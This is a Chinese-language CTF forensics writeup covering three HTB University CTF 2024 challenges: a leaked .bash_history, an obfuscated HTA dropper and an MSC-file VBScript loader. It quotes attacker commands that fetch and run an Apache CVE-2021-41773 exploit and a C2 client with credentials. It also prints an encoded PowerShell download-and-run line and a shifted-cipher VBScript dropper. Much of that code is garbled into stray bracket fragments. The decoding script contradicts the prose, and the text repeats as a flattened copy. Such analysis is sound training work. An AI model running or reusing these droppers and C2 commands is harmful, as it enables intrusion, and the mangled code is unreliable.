HTB-University CTF 2024 Binary Badlands 的 Forensics 部分WP
字数 1779 2025-08-22 12:22:30

HTB-University CTF 2024 Binary Badlands Forensics 部分 Writeup 教学文档


1. Frontier Exposed

题目描述
Frontier Cluster的Web服务器存在目录遍历漏洞,需通过分析.bash_history文件获取凭证。

解题步骤

  1. 访问靶机

    • 发现目录遍历漏洞,下载.bash_history文件。
  2. 分析.bash_history

    • 文件内容显示攻击者执行了以下操作:
      nmap -sC -sV nmap_scan_results.txt jackcolt.dev
      gobuster dir -u http://jackcolt.dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -o dirs.txt
      nc -zv jackcolt.dev 1-65535
      curl -v http://jackcolt.dev
      nikto -h http://jackcolt.dev
      sqlmap -u "http://jackcolt.dev/login.php" --batch --dump-all
      searchsploit apache 2.4.49
      wget https://www.exploit-db.com/download/50383 -O exploit.sh
      chmod u+x exploit.sh
      echo "http://jackcolt.dev" > target.txt
      ./exploit target.txt /bin/sh
      wget https://notthefrontierboard/c2client -O c2client
      chmod +x c2client
      ./c2client --server 'https://notthefrontierboard' --port 4444 --user admin --password SFRCe0MyX2NyM2QzbnQxNGxzXzN4cDBzM2R9
      
    • 关键点:
      • 使用了Apache 2.4.49的CVE-2021-41773漏洞(路径穿越漏洞)。
      • 通过C2客户端连接服务器,密码为SFRCe0MyX2NyM2QzbnQxNGxzXzN4cDBzM2R9
  3. 获取Flag

    • 对密码进行Base64解码:
      echo "SFRCe0MyX2NyM2QzbnQxNGxzXzN4cDBzM2R9" | base64 -d
      
    • 输出:HTB{C2_cr3d3nt14ls_3xp0s3d}

2. Wanter Alive

题目描述
分析wanted.hta文件,解密多层混淆的VBScript代码,追踪恶意行为。

解题步骤

  1. 分析wanted.hta

    • 文件包含多层URL编码的JavaScript和VBScript代码。
    • 解码步骤:
      • 对字符串进行5次URL解码。
      • 删除<sCrIPT lANgUAge="VbScRipT">中的空格,得到可执行代码。
  2. 提取恶意代码

    • 发现Base64加密的PowerShell脚本:
      iex ($(iEX('[SYsTeM.TeXt.EnCoding]'[chAr]0X3A[CHAr]0X3A'uTf8.geTSTring([SYstem.ConVERT]'[chAR]58[CHAR]'fRoMBASE64string('[CHar]0X22'JGVhNmM4bXJU...'[cHar]0X22'))'))
      
    • 解码后为下载wanted.tIF并保存为wanted.vbs执行的脚本。
  3. 下载wanted.tIF

    • 访问路径/35/wanted.tIF,获取VBS文件。
    • 分析VBS代码:
      • 发现混淆的Base64字符串,拼接后解密失败。
      • 使用descortinar函数替换d2FudGVkCg为空,得到有效代码。
  4. 解密逻辑

    • 代码下载多个文件(csrss.execsrss.dllcsrss.exe.configwanted.pdf)。
    • 使用csrss.dll作为密钥,对其他文件进行异或解密。
  5. 解密脚本

    def decrypt_file(file_path, key_path):
        with open(key_path, 'rb') as key_file:
            key = key_file.read()
        with open(file_path, 'rb') as encrypted_file:
            encrypted_data = encrypted_file.read()
        decrypted_data = bytearray(encrypted_data[i] ^ key[i % len(key)] for i in range(len(encrypted_data)))
        with open(file_path, 'wb') as decrypted_file:
            decrypted_file.write(decrypted_data)
    
  6. 获取Flag

    • 解密后从csrss.exe.config发现路径:http://windowsupdate.htb/5f8f9e33bb5e13848af2622b66b2308c.json
    • 下载文件分析,发现AES加密的URL:
      • 密文:ZzfccaKJB3CrDvOnj/6io5OR7jZGL0pr0sLO/ZcRNSa1JLrHA+k2RN1QkelHxKVvhrtiCDD14Aaxc266kJOzF59MfhoI5hJjc5hx7kvGAFw=
      • IV:tbbliftalildywic
      • Key:SHA256("vudzvuokmioomyialpkyydvgqdmdkdxy")
    • 解密后得到URL:http://windowsupdate.htb/ec285935b46229d40b95438707a7efb2282f2f02.xml
    • 访问XML文件,在注释中找到Flag:HTB{...}

3. Binary Badresources

题目描述
分析wanted.msc文件,解密混淆的JavaScript代码,提取恶意Payload。

解题步骤

  1. 分析wanted.msc

    • 文件包含混淆的JavaScript代码,使用在线工具解混淆。
    • 解码后得到XSLT样式表,内含VBScript代码。
  2. 解密VBScript

    • 代码逻辑:将字符ASCII值减5后转字符。
    • 解密脚本:
      encoded = "Stxmsr$I|tpmgmxHmq$sfnWlipp0$sfnJWS0$sfnLXXTHmq$wxvYVP50$wxvYVP60$wxvYVP70$wxvWls{jmpiYVPHmq$wxvHs{rpsehTexl50$wxvHs{rpsehTexl60$wxvHs{rpsehTexl70$wxvWls{jmpiTexlHmq$wxvI|igyxefpiTexl0$wxvTs{ivWlippWgvmtxwxvYVP5$A$&lxxt>33{mrhs{wythexi2lxf3gwvww2i|i&wxvYVP6$A$&lxxt>33{mrhs{wythexi2lxf3gwvww2hpp&wxvYVP7$A$&lxxt>33{mrhs{wythexi2lxf3gwvww2i|i2gsrjmk&wxvWls{jmpiYVP$A$&lxxt>33{mrhs{wythexi2lxf3{erxih2thj&wxvHs{rpsehTexl5$A$&G>`Ywivw`Tyfpmg`gwvww2i|i&wxvHs{rpsehTexl6$A$&G>`Ywivw`Tyfpmg`gwvww2hpp&wxvHs{rpsehTexl7$A$&G>`Ywivw`Tyfpmg`gwvww2i|i2gsrjmk&wxvWls{jmpiTexl$A$&G>`Ywivw`Tyfpmg`{erxih2thj&wxvI|igyxefpiTexl$A$&G>`Ywivw`Tyfpmg`gwvww2i|i&Wix$sfnWlipp$A$GviexiSfnigx,&[Wgvmtx2Wlipp&-Wix$sfnJWS$A$GviexiSfnigx,&Wgvmtxmrk2JmpiW}wxiqSfnigx&-Wix$sfnLXXT$A$GviexiSfnigx,&QW\QP62\QPLXXT&-Mj$Rsx$sfnJWS2JmpiI|mwxw,wxvHs{rpsehTexl5-$Xlir
      

\[ \]

Hs{rpsehJmpi\(wxvYVP50\)wxvHs{rpsehTexl5Irh\(MjMj\)Rsx\(sfnJWS2JmpiI|mwxw,wxvHs{rpsehTexl6-\)Xlir

\[ \]

Hs{rpsehJmpi\(wxvYVP60\)wxvHs{rpsehTexl6Irh\(MjMj\)Rsx\(sfnJWS2JmpiI|mwxw,wxvHs{rpsehTexl7-\)Xlir

\[ \]

Hs{rpsehJmpi\(wxvYVP70\)wxvHs{rpsehTexl7Irh\(MjMj\)Rsx\(sfnJWS2JmpiI|mwxw,wxvWls{jmpiTexl-\)Xlir

\[ \]

Hs{rpsehJmpi\(wxvWls{jmpiYVP0\)wxvWls{jmpiTexlIrh\(MjwxvTs{ivWlippWgvmtx$A\)c&teveq\(,&$*\)zfGvPj\(*\)c&

\[ \]

_wxvmrka(JmpiTexl0&\(*\)zfGvPj\(*\)c&

\[ \]

_wxvmrka(Oi}Texl&\(*\)zfGvPj\(*\)c&-&\(*\)zfGvPj\(*\)c&(oi}\(A\)_W}wxiq2MS2Jmpia>>ViehEppF}xiw,(Oi}Texl-&\(*\)zfGvPj\(*\)c&(jmpiGsrxirx\(A\)_W}wxiq2MS2Jmpia>>ViehEppF}xiw,(JmpiTexl-&\(*\)zfGvPj\(*\)c&(oi}Pirkxl\(A\)(oi}2Pirkxl&\(*\)zfGvPj\(*\)c&jsv\(,(m$A\)4?\((m\)1px\((jmpiGsrxirx2Pirkxl?\)(m//-\(&$*\)zfGvPj\(*\)c&

\[ \]

(jmpiGsrxirx_(ma\(A\)(jmpiGsrxirx_(ma\(1f|sv\)(oi}_(m\()\)(oi}Pirkxla&\(*\)zfGvPj\(*\)c&&\(*\)zfGvPj\(*\)c&_W}wxiq2MS2Jmpia>>[vmxiEppF}xiw,(JmpiTexl0\((jmpiGsrxirx-&$*\)zfGvPjHmq\(sfnJmpiSr\)Ivvsv\(Viwyqi\)Ri|xWix\(sfnJmpi$A\)sfnJWS2GviexiXi|xJmpi,&G>YwivwTyfpmg`xiqt2tw5&0\(Xvyi-Mj\)Ivv2Ryqfiv\(@B$4\)Xlir

\[ \]

[Wgvmtx2Igls\(&Ivvsv\)gviexmrk\(Ts{ivWlipp\)wgvmtx\(jmpi>$&$*\)Ivv2Hiwgvmtxmsr

\[ \]

[Wgvmtx2UymxIrh\(MjsfnJmpi2[vmxiPmri\)wxvTs{ivWlippWgvmtxsfnJmpi2GpswiHmq\(evvJmpiTexlwevvJmpiTexlw$A\)Evve},wxvHs{rpsehTexl50\(wxvHs{rpsehTexl70\)wxvWls{jmpiTexl-Hmq\(mJsv$m$A$4\)Xs$YFsyrh,evvJmpiTexlw-

\[ \]

Hmq$mrxVixyvrGshi

\[ \]

mrxVixyvrGshi\(A\)sfnWlipp2Vyr,&ts{ivwlipp\(1I|igyxmsrTspmg}\)F}teww\(1Jmpi\)G>YwivwTyfpmg`xiqt2tw5\(1JmpiTexl$&$*\)Glv,78-\(*\)evvJmpiTexlw,m-\(*\)Glv,78-\(*$&\)1Oi}Texl\(&$*\)Glv,78-\(*\)wxvHs{rpsehTexl6\(*\)Glv,78-0\(40\)Xvyi-Mj\(mrxVixyvrGshi\)@B\(4\)Xlir\(Wgvmtx2Igls\)&Ts{ivWlipp\(wgvmtx\)i|igyxmsr\(jempih\)jsv\(&$*\)evvJmpiTexlw,m-\(*$&\){mxl\(i|mx\)gshi>\(&$*\)mrxVixyvrGshi

\[ \]

Irh\(MjRi|xsfnWlipp2Vyr\)wxvI|igyxefpiTexl0\(50\)XvyisfnWlipp2Vyr\(wxvWls{jmpiTexl0\)50\(XvyisfnJWS2HipixiJmpi\)&G>YwivwTyfpmggwvww2hpp&sfnJWS2HipixiJmpi$&G>YwivwTyfpmggwvww2i|i&sfnJWS2HipixiJmpi\(&G>`Ywivw`Tyfpmg`gwvww2i|i2gsrjmk&sfnJWS2HipixiJmpi\)&G>YwivwTyfpmg`xiqt2tw5&Wyf\(Hs{rpsehJmpi,yvp0\)texl-

\[ \]

Hmq$sfnWxvieq

\[ \]

Wix\(sfnWxvieq$A\)GviexiSfnigx,&EHSHF2Wxvieq&-

\[ \]

sfnLXXT2Stir\(&KIX&0\)yvp0$Jepwi

\[ \]

sfnLXXT2Wirh

\[ \]

Mj\(sfnLXXT2Wxexyw$A\)644$Xlir

\[\]

\[\]

\[sfnWxvieq2Stir \]

\[\]

\[\]

\[sfnWxvieq2X}ti$A$5 \]

\[\]

\[\]

\[sfnWxvieq2[vmxi$sfnLXXT2ViwtsrwiFsh}sfnWxvieq2WeziXsJmpi$texl0$6 \]

\[\]

\[\]

\[sfnWxvieq2Gpswi \]

\[Irh$Mj \]

\[Wix$sfnWxvieq$A$RsxlmrkIrh$Wyf" decoded = ''.join([chr(ord(c) - 5 + 1) for c in encoded]) print(decoded) ``` - 输出为VBS代码,进一步分析恶意行为。 3. **获取Flag** - 从解密后的代码或下载的文件中提取Flag。 --- ### **总结** - **Frontier Exposed**:通过分析`.bash_history`获取Base64编码的Flag。 - **Wanter Alive**:多层解码VBScript,异或解密文件后获取AES加密的URL。 - **Binary Badresources**:解混淆JavaScript,解密VBScript后提取Payload。 **核心技巧**: - 关注日志文件(如`.bash_history`)。 - 多层编码/加密需逐步解码(URL→Base64→AES/XOR)。 - 动态分析(如沙箱)辅助确认恶意行为。\]

HTB-University CTF 2024 Binary Badlands Forensics 部分 Writeup 教学文档 1. Frontier Exposed 题目描述 Frontier Cluster的Web服务器存在目录遍历漏洞,需通过分析 .bash_history 文件获取凭证。 解题步骤 访问靶机 发现目录遍历漏洞,下载 .bash_history 文件。 分析 .bash_history 文件内容显示攻击者执行了以下操作: 关键点: 使用了Apache 2.4.49的CVE-2021-41773漏洞(路径穿越漏洞)。 通过C2客户端连接服务器,密码为 SFRCe0MyX2NyM2QzbnQxNGxzXzN4cDBzM2R9 。 获取Flag 对密码进行Base64解码: 输出: HTB{C2_cr3d3nt14ls_3xp0s3d} 。 2. Wanter Alive 题目描述 分析 wanted.hta 文件,解密多层混淆的VBScript代码,追踪恶意行为。 解题步骤 分析 wanted.hta 文件包含多层URL编码的JavaScript和VBScript代码。 解码步骤: 对字符串进行5次URL解码。 删除 <sCrIPT lANgUAge="VbScRipT"> 中的空格,得到可执行代码。 提取恶意代码 发现Base64加密的PowerShell脚本: 解码后为下载 wanted.tIF 并保存为 wanted.vbs 执行的脚本。 下载 wanted.tIF 访问路径 /35/wanted.tIF ,获取VBS文件。 分析VBS代码: 发现混淆的Base64字符串,拼接后解密失败。 使用 descortinar 函数替换 d2FudGVkCg 为空,得到有效代码。 解密逻辑 代码下载多个文件( csrss.exe 、 csrss.dll 、 csrss.exe.config 、 wanted.pdf )。 使用 csrss.dll 作为密钥,对其他文件进行异或解密。 解密脚本 获取Flag 解密后从 csrss.exe.config 发现路径: http://windowsupdate.htb/5f8f9e33bb5e13848af2622b66b2308c.json 。 下载文件分析,发现AES加密的URL: 密文: ZzfccaKJB3CrDvOnj/6io5OR7jZGL0pr0sLO/ZcRNSa1JLrHA+k2RN1QkelHxKVvhrtiCDD14Aaxc266kJOzF59MfhoI5hJjc5hx7kvGAFw= IV: tbbliftalildywic Key: SHA256("vudzvuokmioomyialpkyydvgqdmdkdxy") 。 解密后得到URL: http://windowsupdate.htb/ec285935b46229d40b95438707a7efb2282f2f02.xml 。 访问XML文件,在注释中找到Flag: HTB{...} 。 3. Binary Badresources 题目描述 分析 wanted.msc 文件,解密混淆的JavaScript代码,提取恶意Payload。 解题步骤 分析 wanted.msc 文件包含混淆的JavaScript代码,使用在线工具解混淆。 解码后得到XSLT样式表,内含VBScript代码。 解密VBScript 代码逻辑:将字符ASCII值减5后转字符。 解密脚本: 输出为VBS代码,进一步分析恶意行为。 获取Flag 从解密后的代码或下载的文件中提取Flag。 总结 Frontier Exposed :通过分析 .bash_history 获取Base64编码的Flag。 Wanter Alive :多层解码VBScript,异或解密文件后获取AES加密的URL。 Binary Badresources :解混淆JavaScript,解密VBScript后提取Payload。 核心技巧 : 关注日志文件(如 .bash_history )。 多层编码/加密需逐步解码(URL→Base64→AES/XOR)。 动态分析(如沙箱)辅助确认恶意行为。